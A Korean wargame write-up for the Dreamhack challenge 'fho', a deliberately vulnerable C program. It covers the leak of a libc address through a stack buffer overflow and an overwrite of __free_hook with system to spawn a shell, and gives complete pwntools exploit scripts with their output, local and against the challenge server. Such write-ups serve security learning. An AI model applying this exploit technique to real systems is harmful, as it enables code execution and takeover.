fho

2022. 7. 27. 16:20·Wargame/Dreamhack
728x90
반응형

 

// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}
┌──(kali㉿kali)-[~/Downloads/1]
└─$ checksec --file=fho
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   71) Symbols    No    0

문제에서 보았듯이 보호 기법이 다수 걸려있다.

 

코드는 크게 3부분으로 나눌 수 있는데,

[1] stack buffer overflow에서는 writeable address 확인,
[2] Arbitary-Address-Write에서는 이후 [3]에서 free 함수를 사용하기에 해당 함수의 address를 system 함수로의 변경.
[3] Arbitrary-Address-Free에서는 /bin/sh 문자열을 인자로 전달하면서 free 함수 (= system 함수) 실행

으로 풀 수 있을 것으로 보인다.

참고로 본 파일에는 canary가 걸려 있으나 우리는 ret address의 변조를 목표로하는 것이 아니며 canary 값 확인 전 free 함수 호출 시 system 함수를 호출할 것이기 때문에 canary는 무시해도 된다.

우선 buf 변수의 위치를 gdb로 확인해보면

gef➤  disas main
Dump of assembler code for function main:
...
   0x000000000000092a <+112>:   lea    -0x40(%rbp),%rax
   0x000000000000092e <+116>:   mov    $0x100,%edx
   0x0000000000000933 <+121>:   mov    %rax,%rsi
   0x0000000000000936 <+124>:   mov    $0x0,%edi
   0x000000000000093b <+129>:   call   0x770 <read@plt>
...

%rbp - 0x40 위치에 buf 변수가 있음을 알 수 있다.

추가로 ASLR이 걸려있기에 특정 주소를 확인해야하는데, 일반적으로 프로그램은 종료 후 __libc_start_main 함수로 되돌아가게 되기에 이를 사용해서 offset을 구할 수 있다.

다만 유의해야할 점은 프로그램은 사용자의 libc를 가져와서 사용하기 때문에 gdb로 문제 파일을 바로 분석하면 제공된 libc와 버전이 달라 offset이 다르기에 이를 유의해야한다.

우선 나의  시스템 기준으로 익스플로잇 해보자.

gdb로 __libc_start_main 함수의 주소를 확인해보면 아래와 같다.

gef➤  x/gx $rbp+8
0x7fffffffe2d8: 0x00007ffff7dff7fd
gef➤  x/i 0x00007ffff7dff7fd
   0x7ffff7dff7fd <__libc_start_main+205>:      mov    %eax,%edi

__libc_start_main + 205 위치이기에 이를 유의하여 작성해보자.

from pwn import *

p = process('./fho')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pause()
pay = b''
pay += b'A'*(0x40+7)

p.sendlineafter(b'Buf: ',pay)

p.recv(0x48+5)
libc_start_main_add = p.recv(6) + b'\x00\x00'
baseadd = u64(libc_start_main_add) - 205 - libc.symbols['__libc_start_main']

p.recv(1) #recv \n

system = baseadd + libc.symbols['system']
free_hook = baseadd + libc.symbols['__free_hook']
binsh = baseadd + 0x198882

print(hex(system))
print(hex(free_hook))
print(hex(binsh))

p.sendlineafter(b': ',str(free_hook))
p.sendlineafter(b': ',str(system))
p.sendlineafter(b': ',str(binsh))

p.interactive()
┌──(kali㉿kali)-[~/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b]
└─$ python a.py
[+] Starting local process './fho': pid 16103
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Paused (press any to continue)
0x7f1f76270860
0x7f1f763f8e20
0x7f1f763bf882
/home/kali/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b/a.py:25: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b': ',str(free_hook))
/home/kali/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b/a.py:26: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b': ',str(system))
/home/kali/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b/a.py:27: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b': ',str(binsh))
[*] Switching to interactive mode
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),121(bluetooth),133(scanner),141(kaboxer)

 

이제 제공된 libc 파일을 기준으로 서버에 다시 한번 시도해보자.

무엇보다 libc 버전이 다르기 때문에 main 함수의 return address에 저장되는 __libc_start_main + xx의 위치가 변하게되고, /bin/sh 문자열의 offset도 바뀌게 된다.

문자열이야 그냥 찾으면 되는데, __libc_start_main이 문제다.

이를 확인하기 위해서는 파일 실행 시 제공된 libc 파일을 함께 로드시켜줘야하는데, 또, 이를 위해서는 ld 파일이 맞아야 한다. 더럽네...

libc 버전에 따른 ld 파일을 찾으려고 했는데 그것 마저도 잘 찾아지지 않아 제공된 libc 파일과 내 시스템의 libc 파일을 비교해가며 위치를 찾아보았다.

우선 gdb로 확인한 __libc_start_main 위치는 아래와 같이 exit 함수 직전이다.

ef➤  disas __libc_start_main
...
   0x00007ffff7dfe7fd <+205>:   mov    %eax,%edi
   0x00007ffff7dfe7ff <+207>:   call   0x7ffff7e16100 <__GI_exit>
...

제공된 libc 파일에서 해당 함수를 찾아보면 아래와 같고,

┌──(kali㉿kali)-[~/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b (2)]
└─$ objdump -d libc-2.27.so| grep __libc_start_main
objdump: Warning: Separate debug info file libc-2.27.so found, but CRC does not match - ignoring
objdump: Warning: Separate debug info file /home/kali/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b (2)/libc-2.27.so found, but CRC does not match - ignoring
0000000000021b10 <__libc_start_main@@GLIBC_2.2.5>:
   21b3a:       74 09                   je     21b45 <__libc_start_main@@GLIBC_2.2.5+0x35>
...

대략 +205 위치쯤에서 주변 값을 출력해보니 +231 위치에 동일한 어셈블러코드가 있었다.

┌──(kali㉿kali)-[~/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b (2)]
└─$ objdump -d libc-2.27.so| grep -A10 21bdd
objdump: Warning: Separate debug info file libc-2.27.so found, but CRC does not match - ignoring
objdump: Warning: Separate debug info file /home/kali/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b (2)/libc-2.27.so found, but CRC does not match - ignoring
   21bdd:       48 8b 05 c4 92 3c 00    mov    0x3c92c4(%rip),%rax        # 3eaea8 <__environ@@GLIBC_2.2.5-0x31f0>
   21be4:       48 8b 74 24 08          mov    0x8(%rsp),%rsi
   21be9:       8b 7c 24 14             mov    0x14(%rsp),%edi
   21bed:       48 8b 10                mov    (%rax),%rdx
   21bf0:       48 8b 44 24 18          mov    0x18(%rsp),%rax
   21bf5:       ff d0                   call   *%rax
   21bf7:       89 c7                   mov    %eax,%edi
   21bf9:       e8 42 16 02 00          call   43240 <exit@@GLIBC_2.2.5>

이를 기준으로 시도.

from pwn import *

p = remote('host1.dreamhack.games',21811)
#p = process('./fho')

libc = ELF('./libc-2.27.so')
pay = b''
pay += b'A'*(0x40+7)

p.sendlineafter(b'Buf: ',pay)

p.recv(0x48+5)
libc_start_main_add = p.recv(6) + b'\x00\x00'
baseadd = u64(libc_start_main_add) - 231 - libc.symbols['__libc_start_main']

p.recv(1) #recv \n
system = baseadd + libc.symbols['system']
free_hook = baseadd + libc.symbols['__free_hook']
binsh = baseadd + 0x1b3e1a

print(hex(system))
print(hex(free_hook))
print(hex(binsh))

p.sendlineafter(b': ',str(free_hook).encode())
p.sendlineafter(b': ',str(system).encode())
p.sendlineafter(b': ',str(binsh).encode())

p.interactive()
┌──(kali㉿kali)-[~/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b (2)]
└─$ python a.py
[+] Opening connection to host1.dreamhack.games on port 21811: Done
[*] '/home/kali/Downloads/87aa60f4-5a9b-4244-9a1e-fd218c0f0c9b (2)/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
0x7f14d1512550
0x7f14d18b08e8
0x7f14d1676e1a
[*] Switching to interactive mode
$ id
uid=1000(fho) gid=1000(fho) groups=1000(fho)
$ cat flag
DH{----------#플래그는 삭제}

libc & ld 파일을 어떻게 링크시켜줘야될지 좀 알아봐야겠다.

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

oneshot  (0) 2022.07.29
hook  (0) 2022.07.29
basic_rop_x86  (0) 2022.07.25
basic_rop_x64  (0) 2022.07.22
rop  (0) 2022.07.20
'Wargame/Dreamhack' 카테고리의 다른 글
  • oneshot
  • hook
  • basic_rop_x86
  • basic_rop_x64
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (500) N
      • To do list (7) N
        • Doing (1) N
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (27) N
        • Theory (15)
        • Exercise (5) N
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41) N
        • Solved (39) N
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    pwntools
    exploit education
    lob
    x64
    dreamhack
    Buffer Overflow
    Me
    phoenix
    vtable
    heap
    FSB
    docker
    la ctf
    64bit
    cryptohack
    CANARY
    root
    rop
    tcache
    BOF
    RTL
    ROOT ME
    _IO_FILE
    hackerschool
    root-me
    Format String Bug
    x86
    libc
    32bit
    pwnable.kr
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
fho
상단으로

티스토리툴바